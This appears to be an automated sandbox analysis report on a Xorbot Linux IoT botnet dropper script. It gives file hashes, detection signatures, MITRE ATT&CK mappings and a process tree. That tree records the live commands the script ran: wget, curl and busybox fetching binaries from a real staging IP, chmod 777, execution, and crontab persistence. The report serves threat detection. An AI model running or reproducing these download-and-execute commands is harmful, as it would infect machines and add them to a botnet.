xorbot | 987822b12edf58efb6a80d22ef3e6ea7cfa0d308fc363137aebd9471dc52e055

Analysis

max time kernel
149s
max time network
95s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
29-11-2024 13:27

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General

Target

bins.sh
Size

10KB
MD5

0f1ab6ac305389f1651f86ae8ee9487a
SHA1

cc133fbbf8643f3760dbd7399724c620cc9e2ae3
SHA256

987822b12edf58efb6a80d22ef3e6ea7cfa0d308fc363137aebd9471dc52e055
SHA512

b828c6748e67d60491dbc1ce7d10fc3f6aaa10e8dbc12e07711adecc9f01c1c2970099204050333e4846e85263206ce32a5acb153e081038b322e17b43ec7572
SSDEEP

192:dI34uu03vbUxuYVaSlRJ66TlRJ66v7Buu03vbaf/:dI34uu03zUxpVaI1uu03zaf/

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
678	chmod
722	chmod

Executes dropped EXE 2 IoCs

Processes:

j0o2nppKcvyMdefx68huu9x69xhxIXKtd2p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

ioc	pid	Process
/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	679	j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1	724	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

Renames itself 1 IoCs

Processes:

p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

pid	Process
725	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.e3PIri	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1crontabcurl

description	ioc	Process
File opened for reading	/proc/24/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/749/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/751/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/915/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/6/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/823/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/873/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/880/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/910/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/811/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/271/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/816/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/854/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/864/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/868/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/5/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/29/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/792/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/803/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/856/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/845/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/9/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/288/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/748/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/163/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/805/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/769/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/901/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/909/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/858/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/836/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/905/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/815/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/738/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/786/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/794/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/828/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/883/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/643/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/745/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/871/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/881/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/3/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/750/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/756/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/760/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/831/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/97/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/770/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/863/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/216/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/787/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/781/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/12/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/147/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/795/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/865/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/105/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/266/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/308/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
File opened for reading	/proc/637/cmdline	p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1	wget
File opened for modification	/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1	curl
File opened for modification	/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1	busybox
File opened for modification	/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	wget
File opened for modification	/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	curl
File opened for modification	/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - Writes file to tmp directory
  PID:649
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:672
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - Writes file to tmp directory
  PID:675
- /bin/chmod
  chmod 777 j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  ./j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  - Executes dropped EXE
  PID:679
- /bin/rm
  rm j0o2nppKcvyMdefx68huu9x69xhxIXKtd2
  2⤵
  PID:682
- /usr/bin/wget
  wget http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - Writes file to tmp directory
  PID:684
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:700
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - Writes file to tmp directory
  PID:713
- /bin/chmod
  chmod 777 p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - File and Directory Permissions Modification
  PID:722
- /tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  ./p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:724
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:726
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:727
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:729
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:730
- /bin/rm
  rm p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1
  2⤵
  PID:738
- /usr/bin/wget
  wget http://216.126.231.240/bins/CfBtYhXhJ5Hav4ENiNimOJXreMLfHr4wk2
  2⤵
  PID:741

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/j0o2nppKcvyMdefx68huu9x69xhxIXKtd2

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/p0PXvhHgHVw6z4yPmqDtjQIJCsljkmprx1

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.e3PIri

Filesize
210B

MD5
43cafa512c96e0511e6a3a84a26f749e

SHA1
152832e5cea52c28fbedea1d9c8ec816eb902dae

SHA256
cd04b39b5d19f5bd66f52215d25b70bc3dd61cabb1dee7a8f619aa4e01ce1b59

SHA512
3a0e2fc9e76f7272f05684a07bef9125ee53338538e33a7498c984a8fef5dfce455d123a5121947e4b79a2e2abecde0027094af443077512b7aceaa666b905e3

Download Submit